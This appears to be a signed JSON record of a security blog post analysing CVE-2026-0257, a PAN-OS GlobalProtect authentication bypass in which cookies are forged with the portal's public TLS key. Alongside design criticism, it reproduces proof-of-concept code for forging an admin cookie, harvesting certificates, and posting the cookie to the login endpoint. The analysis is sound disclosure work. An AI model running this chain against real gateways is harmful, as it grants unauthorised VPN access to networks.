-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The cookie's plaintext is the username\n\nStuart Fewer at Rapid7 published [a working PoC](https://github.com/sfewer-r7/CVE-2026-0257). The script's `forge_cookie` function is six lines:\n\n```python\ndef forge_cookie(public_key, username, domain=\"\", host_id=\"\", client_ip=\"0.0.0.0\", client_os=\"Windows\"):\n \"\"\"Forge an authentication override cookie.\"\"\"\n timestamp = int(time.time())\n plaintext = f\"{username};{domain};{client_os};{host_id};{timestamp};{client_ip}\"\n ciphertext = public_key.encrypt(plaintext.encode(), padding.PKCS1v15())\n return base64.b64encode(ciphertext).decode()\n```\n\nThat is the entire cookie. Six semicolon-separated fields, encrypted with RSA-PKCS1v15 padding using a `public_key` the caller passes in. The cookie's contents are the assertion the portal acts on. PAN-OS decrypts the cookie with its private key, splits on semicolons, reads the first field as the username it should authenticate as. The other fields are recorded. None of them are checked against anything the server previously issued. The cookie is not bound to a session the server tracks, not bound to a prior login, not bound to a key the server holds in private. It is bound to a username the encryptor chose and a timestamp the encryptor wrote.\n\nThe forge function takes the username as an argument. The default value in `forge_cookie.py` is `admin`.\n\n## The encryption key is in the TLS handshake\n\nThe PoC's `get_all_public_keys` function opens a TLS connection to the portal on port 443, walks the certificate chain the server sends during the handshake, and returns every public key it finds:\n\n```python\ndef get_all_public_keys(host, port=443):\n \"\"\"Extract all public keys from the TLS certificate chain (unauthenticated).\"\"\"\n ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n\n with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:\n s.connect((host, port))\n if hasattr(s, \"get_unverified_chain\"):\n der_chain = s.get_unverified_chain()\n return [x509.load_der_x509_certificate(der) for der in der_chain]\n```\n\n(Older-Python fallback paths in the PoC parse the raw handshake bytes to reach the same chain.) This is the part that requires no privilege. The PoC connects to the portal the same way every GlobalProtect client connects: TLS handshake, server-side certificate exchange, hostname validation disabled because TLS validation is irrelevant to the attack. The server pushes its certificate chain over the wire because that is what TLS servers do. The PoC keeps every certificate in the chain, including the leaf and any intermediates.\n\nPAN-OS lets the operator pick which of these certificates provides the key for cookie encryption, and the PoC does not know which one the operator picked. So it tries each in turn:\n\n```python\nfor i, cert in enumerate(certs):\n public_key = cert.public_key()\n cookie_b64 = forge_cookie(public_key, args.user, ...)\n response = test_cookie(args.target, args.port, cookie_b64, args.user, context, ...)\n if \"Success\" in response:\n print(f\"[+] Success - Gateway accepted the forged cookie\")\n```\n\nThe README's example output is one TLS handshake, two certificates harvested, two cookies forged, one accepted. The accepted cookie was encrypted with the CA certificate's public key:\n\n```\nFound 2 certificate(s) in chain:\n [0] CN=192.168.86.99 (RSA 2048 bits, CA=False)\n [1] CN=GP-Lab-CA (RSA 2048 bits, CA=True)\n\nTrying [0] CN=192.168.86.99\n [-] Failure - Gateway did not accepted the forged cookie\nTrying [1] CN=GP-Lab-CA\n [+] Success - Gateway accepted the forged cookie\n```\n\nThe operator in the lab example had pointed PAN-OS at the CA certificate for cookie encryption. That CA's public key was reachable from any TCP-reachable client because the GlobalProtect portal sent the full chain during its TLS handshake, as TLS servers usually do. The cookie's encryption key was on the wire.\n\n## The chain is three requests\n\nReproducing the bypass against a vulnerable deployment is three steps.\n\nStep one. Pull the chain.\n\n```bash\nopenssl s_client -connect vpn.example.com:443 -showcerts < /dev/null > chain.pem\n```\n\nThis is the work every TLS client does at the start of every connection. The server's certificate chain is the response to a TLS `ClientHello`. There is no authentication, no signal to the operator that the chain was pulled rather than completed.\n\nStep two. Forge.\n\n```bash\npython forge_cookie.py --target vpn.example.com --user admin\n```\n\nThe script reads the chain, encrypts `admin;;Windows;;;0.0.0.0` with each public key, base64-encodes each ciphertext.\n\nStep three. POST.\n\n```http\nPOST /ssl-vpn/login.esp HTTP/1.1\nHost: vpn.example.com\nContent-Type: application/x-www-form-urlencoded\n\nprot=https&server=vpn.example.com&user=admin&passwd=\n&clientos=Windows&clientgpversion=6.0.0\n&portal-userauthcookie=\n```\n\nThe handler at `/ssl-vpn/login.esp` reads `portal-userauthcookie`, decrypts with the server's private key, finds the username `admin`, returns `Success`. The attacker now has a GlobalProtect session as `admin` on the network the gateway routes into.\n\nThere is no password check. There is no challenge. There is no rate limit on cookie attempts that would matter at the cost of one TLS connection per certificate in the chain. The server's only test of the cookie is \"can I decrypt this with my private key and find a username inside.\" Anyone holding the matching public key can produce a cookie that passes that test. The matching public key is on a certificate the server sends to every TLS client.\n\n## CWE-565 names the wrong bug\n\nThe CVE record cites CWE-565: \"Reliance on Cookies without Validation and Integrity Checking.\" That description is wrong in the specific way that matters.\n\nThe cookie is validated. PAN-OS runs an RSA decryption against it. If the bytes are not a valid PKCS1v15 ciphertext for the server's private key, decryption fails and the cookie is rejected. There is integrity-checking machinery in the path. The problem is that the machinery is the wrong machinery.\n\nRSA-PKCS1v15 encryption is a confidentiality primitive. It hides content from anyone who does not hold the private key. It does not authenticate the writer. Any party who has the public key can encrypt a payload that the private-key holder will decrypt successfully. That is the entire design of asymmetric encryption: anyone can encrypt for the recipient, and the recipient cannot tell who encrypted.\n\nPAN-OS used this primitive as if it were a signature. A signature is the inverse operation: the writer signs with a private key, the recipient verifies with a public key. Anyone holding the public key can verify; only the holder of the private key can sign. If PAN-OS had signed the cookie with the server's private key and verified with the public key, the attack would not work, because the attacker would not have the private key. If PAN-OS had wrapped the cookie in an HMAC keyed by a server-side secret, the attack would not work, because the attacker would not have the secret.\n\nPAN-OS chose the operation that runs in the wrong direction. It encrypted what it should have signed. The bug is not \"no integrity check.\" The bug is \"encryption mistaken for authentication.\"\n\nThis is the [trust-inversion](/patterns/trust-inversion) shape. The trust artifact in a GlobalProtect deployment is the TLS certificate the portal hands to clients. Its purpose is to prove to a connecting user that they are talking to the real portal. PAN-OS turns that same artifact into the primitive that lets clients prove to the portal that they are any user they choose. The credential that identifies the portal to the world identifies the world to the portal. Where [Next.js's `x-middleware-subrequest`](/posts/next-middleware-cve-2025-29927-recursion-guard-was-the-bypass) was an internal-only header that never modeled the inbound network as hostile, this is an internal-only certificate role that never modeled the TLS handshake as observable.\n\n## Step two was the default\n\nThe advisory's three-step remediation reads as a configuration guide. Read it as a confession.\n\n1. Upgrade to a fixed PAN-OS version.\n2. Or use a dedicated certificate exclusively for authentication override cookies, do not reuse the portal/gateway certificate.\n3. Or disable authentication override entirely.\n\nStep two presupposes that the operator could, in earlier versions, point the auth-override certificate at any certificate they wanted, and that pointing it at the TLS certificate breaks the system. Both halves are true. The configuration knob exists. It has existed. Pointing the cookie certificate at the TLS certificate produces the bypass this CVE describes, and the configuration UI gave operators no warning that the choice mattered to security.\n\nStep two is the patch the design always needed. Pointing the cookie certificate at a private-only certificate makes the public key unreachable to a remote attacker, which makes the bypass infeasible against that one operator. It does not change the underlying primitive. PAN-OS still encrypts the cookie with a key. PAN-OS still treats successful decryption as authentication. PAN-OS still gives the operator a knob that, if turned wrong, broadcasts the key. Step two moves the bug from default to advanced misconfiguration. It does not remove the bug from the design.\n\nCVE-2026-0257's CISA KEV deadline is 2026-06-01. CISA adds CVEs to the Known Exploited Vulnerabilities catalog on evidence of in-wild exploitation. The advisory's Exploitation status field reads: \"No known malicious exploitation as of publication.\" Both statements are public record. The KEV deadline is in three days.\n\nPoC: [sfewer-r7/CVE-2026-0257](https://github.com/sfewer-r7/CVE-2026-0257).","closing_line":"PAN-OS treated \"encrypted with our public key\" as \"issued by us.\" The public key is public.","hook_md":"PAN-OS ships a GlobalProtect feature called authentication override cookies. After a user signs in, the portal hands them a cookie that lets them skip the login page on their next VPN session. The cookie is an RSA-PKCS1v15-encrypted blob. Its plaintext is `username;domain;client_os;host_id;timestamp;client_ip`. The portal decrypts the cookie with its private key, accepts the username inside, and the user is logged in.\n\nThe advisory for CVE-2026-0257 lists three remediations. Step one is upgrade. Step three is disable the feature. Step two reads, verbatim: \"use a dedicated certificate exclusively for authentication override cookies, do not reuse the portal/gateway certificate.\"\n\nStep two is the bug. PAN-OS encrypts the cookie with the public key on whatever certificate the operator configured for the auth-override slot, and the configuration UI lets that slot point at the same certificate the portal presents in the TLS handshake. Most operators do. CVE-2026-0257 is what happens when the key the cookie depends on is a key the portal hands every TLS client.","post_id":522,"slug":"pan-os-cve-2026-0257-cookie-cert-was-the-tls-cert","title":"CVE-2026-0257: PAN-OS Encrypted GlobalProtect's Auth-Override Cookie With The TLS Certificate","type":"initial","unreadable_sentence":"PAN-OS treated \"encrypted with our public key\" as \"issued by us.\" The public key is public."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCahobaAAKCRDeZjl4jgkQ JrjbAQCaa0yluUYeElqnjk+AH9PGTq0IbRQxKtxXII/Yg2poSQD+IgrPXIbxoJ1V 4DOcw/blW80bTk7IxAZCz9Z92syhHwM= =m7TL -----END PGP SIGNATURE-----